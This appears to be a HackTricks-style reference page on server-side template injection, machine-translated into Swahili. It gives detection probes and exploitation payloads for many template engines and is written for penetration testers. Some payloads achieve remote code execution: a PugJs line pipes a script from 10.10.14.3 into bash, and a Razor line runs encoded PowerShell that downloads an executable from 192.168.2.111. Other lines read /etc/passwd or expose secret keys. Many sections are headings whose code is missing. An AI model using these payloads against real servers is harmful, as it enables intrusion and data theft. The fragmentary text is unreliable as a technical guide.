SSTI (Server Side Template Injection)
RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
What is SSTI (Server-Side Template Injection)
Server-side template injection ni udhaifu unaotokea wakati mshambuliaji anaweza kuingiza msimbo mbaya katika kiolezo ambacho kinatekelezwa kwenye seva. Udhaifu huu unaweza kupatikana katika teknolojia mbalimbali, ikiwa ni pamoja na Jinja.
Jinja ni injini maarufu ya kiolezo inayotumika katika programu za wavuti. Hebu tuchukue mfano unaoonyesha kipande cha msimbo kilichokumbwa na udhaifu ukitumia Jinja:
Katika hii nambari iliyo hatarini, parameta ya name
kutoka kwa ombi la mtumiaji inapita moja kwa moja kwenye kiolezo kwa kutumia kazi ya render
. Hii inaweza kuruhusu mshambuliaji kuingiza nambari mbaya kwenye parameta ya name
, na kusababisha kuingizwa kwa kiolezo upande wa seva.
Kwa mfano, mshambuliaji anaweza kuunda ombi lenye mzigo kama huu:
The payload {{bad-stuff-here}}
imeingizwa kwenye parameter name
. Payload hii inaweza kuwa na maagizo ya template ya Jinja ambayo yanamwezesha mshambuliaji kutekeleza msimbo usioidhinishwa au kubadilisha injini ya template, na hivyo kupata udhibiti wa seva.
Ili kuzuia udhaifu wa kuingizwa kwa template upande wa seva, waendelezaji wanapaswa kuhakikisha kuwa pembejeo za mtumiaji zimeondolewa vizuri na kuthibitishwa kabla ya kuingizwa kwenye templates. Kutekeleza uthibitishaji wa pembejeo na kutumia mbinu za kukwepa zinazojulikana na muktadha kunaweza kusaidia kupunguza hatari ya udhaifu huu.
Detection
Ili kugundua Kuingizwa kwa Template upande wa Seva (SSTI), awali, kufanya fuzzing kwenye template ni njia rahisi. Hii inahusisha kuingiza mfululizo wa herufi maalum (${{<%[%'"}}%\
) kwenye template na kuchambua tofauti katika majibu ya seva kwa data ya kawaida dhidi ya payload hii maalum. Viashiria vya udhaifu ni pamoja na:
Makosa yaliyot thrown, yanayoonyesha udhaifu na labda injini ya template.
Kukosekana kwa payload kwenye reflection, au sehemu zake kukosekana, ikimaanisha kuwa seva inashughulikia tofauti na data ya kawaida.
Muktadha wa Plaintext: Tofautisha na XSS kwa kuangalia ikiwa seva inakadiria maelekezo ya template (mfano,
{{7*7}}
,${7*7}
).Muktadha wa Code: Thibitisha udhaifu kwa kubadilisha parameta za pembejeo. Kwa mfano, kubadilisha
greeting
kwenyehttp://vulnerable-website.com/?greeting=data.username
ili kuona ikiwa matokeo ya seva ni ya kubadilika au ya kudumu, kama kwenyegreeting=data.username}}hello
inarudisha jina la mtumiaji.
Identification Phase
Kujua injini ya template kunahusisha kuchambua ujumbe wa makosa au kujaribu kwa mikono payload mbalimbali za lugha maalum. Payload za kawaida zinazosababisha makosa ni pamoja na ${7/0}
, {{7/0}}
, na <%= 7/0 %>
. Kuangalia majibu ya seva kwa operesheni za kihesabu husaidia kubaini injini maalum ya template.
Tools
scanner bora wa SSTI + CSTI inayotumia polyglots mpya
meza ya mwingiliano inayojumuisha polyglots za uhamasishaji wa template zenye ufanisi zaidi pamoja na majibu yanayotarajiwa ya injini 44 muhimu za template.
Exploits
Generic
Katika wordlist hii unaweza kupata variables defined katika mazingira ya baadhi ya injini zilizoainishwa hapa chini:
Java
Java - Basic injection
Java - Pata mabadiliko ya mazingira ya mfumo
Java - Pata /etc/passwd
FreeMarker (Java)
Unaweza kujaribu payload zako kwenye https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
Freemarker - Sandbox bypass
⚠️ inafanya kazi tu kwenye toleo za Freemarker chini ya 2.3.30
Maelezo zaidi
Katika sehemu ya FreeMarker ya https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Maelezo zaidi
Katika sehemu ya Velocity ya https://portswigger.net/research/server-side-template-injection
Thymeleaf
Katika Thymeleaf, mtihani wa kawaida wa udhaifu wa SSTI ni usemi ${7*7}
, ambao pia unatumika kwa injini hii ya templeti. Kwa utekelezaji wa msimbo wa mbali, usemi kama ifuatavyo unaweza kutumika:
SpringEL:
OGNL:
Thymeleaf inahitaji usemi haya kuwekwa ndani ya sifa maalum. Hata hivyo, expression inlining inasaidiwa kwa maeneo mengine ya templeti, kwa kutumia sintaksia kama [[...]]
au [(...)]
. Hivyo, mzigo rahisi wa mtihani wa SSTI unaweza kuonekana kama [[${7*7}]]
.
Hata hivyo, uwezekano wa mzigo huu kufanya kazi kwa ujumla ni mdogo. Mipangilio ya kawaida ya Thymeleaf haisaidii uundaji wa templeti za kidinamik; templeti lazima ziwe zimewekwa awali. Wataalamu wa maendeleo wangehitaji kutekeleza TemplateResolver
yao ili kuunda templeti kutoka kwa nyuzi mara moja, jambo ambalo si la kawaida.
Thymeleaf pia inatoa expression preprocessing, ambapo usemi ndani ya viwango viwili vya chini (__...__
) unachakatwa kabla. Kipengele hiki kinaweza kutumika katika ujenzi wa usemi, kama inavyoonyeshwa katika nyaraka za Thymeleaf:
Mfano wa Uthibitisho katika Thymeleaf
Fikiria kipande hiki cha msimbo, ambacho kinaweza kuwa na hatari ya kutumiwa:
Hii inaonyesha kwamba ikiwa injini ya kiolezo itashughulikia hizi ingizo vibaya, inaweza kusababisha utekelezaji wa msimbo wa mbali ikifikia URL kama:
Maelezo zaidi
Spring Framework (Java)
Kupita filters
Maelezo mengi ya mabadiliko yanaweza kutumika, ikiwa ${...}
haitafanya kazi jaribu #{...}
, *{...}
, @{...}
au ~{...}
.
Soma
/etc/passwd
Skripti Maalum kwa ajili ya uzalishaji wa payload
Maelezo Zaidi
Usanifu wa Muonekano wa Spring (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Toleo la zamani la Pebble ( < toleo 3.0.9):
Toleo jipya la Pebble :
Jinjava (Java)
Jinjava ni mradi wa chanzo wazi ulioendelezwa na Hubspot, upatikana kwenye https://github.com/HubSpot/jinjava/
Jinjava - Utendaji wa amri
Imerekebishwa na https://github.com/HubSpot/jinjava/pull/230
More information
Hubspot - HuBL (Java)
{% %}
mipaka ya taarifa{{ }}
mipaka ya maelezo{# #}
mipaka ya maoni{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- darasa com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Tafuta "com.hubspot.content.hubl.context.TemplateContextRequest" na kugundua mradi wa Jinjava kwenye Github.
Maelezo zaidi
Lugha ya Kielelezo - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Lugha ya Kielelezo (EL) ni kipengele muhimu kinachorahisisha mwingiliano kati ya safu ya uwasilishaji (kama kurasa za wavuti) na mantiki ya programu (kama vile beans zinazodhibitiwa) katika JavaEE. Inatumika sana katika teknolojia nyingi za JavaEE ili kuboresha mawasiliano haya. Teknolojia kuu za JavaEE zinazotumia EL ni pamoja na:
JavaServer Faces (JSF): Inatumia EL kuunganisha vipengele katika kurasa za JSF na data na vitendo vya nyuma vinavyolingana.
JavaServer Pages (JSP): EL inatumika katika JSP kwa kupata na kubadilisha data ndani ya kurasa za JSP, na kufanya iwe rahisi kuunganisha vipengele vya ukurasa na data ya programu.
Muktadha na Uingizaji wa Kazi kwa Java EE (CDI): EL inajumuika na CDI kuruhusu mwingiliano usio na mshono kati ya safu ya wavuti na beans zinazodhibitiwa, kuhakikisha muundo wa programu unaoeleweka zaidi.
Angalia ukurasa ufuatao kujifunza zaidi kuhusu kudhulumu wa tafsiri za EL:
EL - Expression LanguageGroovy (Java)
Mifano ifuatayo ya kupita Meneja wa Usalama ilichukuliwa kutoka andiko hili.
RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Ikiwa na lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
Smarty (PHP)
Maelezo zaidi
Katika sehemu ya Smarty ya https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Muundo wa kiolezo
Maelezo zaidi
Katika sehemu ya Twig na Twig (Sandboxed) ya https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates ni injini ya kutengeneza mifano asilia kwa PHP, ikichota inspiraration kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inintroduce sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika mifano, na kuifanya iwe rahisi kwa waendelezaji wa PHP.
Msimamizi:
Kigezo cha ukurasa:
Template ya mpangilio:
Maelezo zaidi
PHPlib na HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB ni sawa na PHPlib lakini imehamishwa kwa Pear.
authors.tpl
authors.php
Maelezo zaidi
Jade (NodeJS)
Maelezo zaidi
Katika sehemu ya Jade ya https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate injini ya kutengeneza PHP isiyo na mkusanyiko, inayotumia lebo za XML kugawanya hati katika sehemu tofauti
Maelezo zaidi
Handlebars (NodeJS)
Kupita Njia (maelezo zaidi hapa).
= Kosa
${7*7} = ${7*7}
Hakuna
Maelezo zaidi
JsRender (NodeJS)
Kigezo | Maelezo |
Thibitisha na uwasilishe matokeo | |
Thibitisha na uwasilishe matokeo ya HTML yaliyotolewa | |
Maoni | |
na | Ruhusu msimbo (imezimwa kwa default) |
= 49
Upande wa Mteja
Seva Kando
Maelezo zaidi
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Mfano wa uwasilishaji upande wa seva
Maelezo zaidi
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Hakuna matokeo
#{7*7} = #{7*7}
{{console.log(1)}} = Kosa
Maelezo zaidi
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Hitilafu
Maelezo zaidi
Slim (Ruby)
{ 7 * 7 }
Maelezo zaidi
Python
Angalia ukurasa ufuatao kujifunza mbinu kuhusu kutekeleza amri zisizo na mipaka kwa kupita sandboxes katika python:
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
More information
Jinja2 (Python)
Jinja2 ni injini ya kutengeneza template yenye vipengele vyote kwa Python. Ina msaada kamili wa unicode, mazingira ya utekelezaji yaliyojumuishwa na sandbox, inatumika sana na ina leseni ya BSD.
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Muundo wa kiolezo
RCE haisababishwi na __builtins__
:
Maelezo zaidi kuhusu jinsi ya kutumia Jinja:
Jinja2 SSTIPayloads nyingine katika https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Maelezo zaidi
Razor (.Net)
@(2+2) <= Mafanikio
@() <= Mafanikio
@("{{code}}") <= Mafanikio
@ <=Mafanikio
@{} <= KOSA!
@{ <= KOSA!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Mbinu ya .NET System.Diagnostics.Process.Start
inaweza kutumika kuanzisha mchakato wowote kwenye seva na hivyo kuunda webshell. Unaweza kupata mfano wa programu ya wavuti iliyo hatarini katika https://github.com/cnotin/RazorVulnerableApp
Maelezo zaidi
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Hakuna<%= response.write(date()) %>
= <Tarehe>
Maelezo Zaidi
Mojolicious (Perl)
Hata kama ni perl inatumia lebo kama ERB katika Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Error
SSTI in GO
Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa kwa kutumia payload maalum:
{{ . }}
: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa yaPassword
kinapewa,{{ .Password }}
kinaweza kukifichua.{{printf "%s" "ssti" }}
: Inatarajiwa kuonyesha mfuatano wa maneno "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Payload hizi zinapaswa kurudisha "ssti" bila kuongezea "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go hapa.
XSS Exploitation
Kwa kutumia pakiti ya text/template
, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya html/template
inakodisha jibu ili kuzuia hili (kwa mfano, {{"<script>alert(1)</script>"}}
inasababisha <script>alert(1)</script>
). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita kodishaji hii: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
Ushughulikiaji wa RCE unatofautiana sana kati ya html/template
na text/template
. Moduli ya text/template
inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), ambayo hairuhusiwi katika html/template
. Nyaraka za moduli hizi zinapatikana hapa kwa html/template na hapa kwa text/template.
Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya System
inayotekeleza amri, kinaweza kutumika kama {{ .System "ls" }}
. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kutumia hili, kama katika mfano uliopewa:
Maelezo zaidi
Maelezo Zaidi ya Ukatili
Angalia sehemu nyingine ya https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection kwa maelezo zaidi ya ukatili. Pia unaweza kupata habari za kuvutia kuhusu lebo katika https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Msaada wa Kuunganishwa
Ikiwa unafikiri inaweza kuwa na manufaa, soma:
Zana
Orodha ya Kugundua Brute-Force
Mazoezi & Marejeleo
RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Hispania na moja ya muhimu zaidi barani Ulaya. Kwa lengo la kukuza maarifa ya kiufundi, kongamano hili ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila taaluma.
Last updated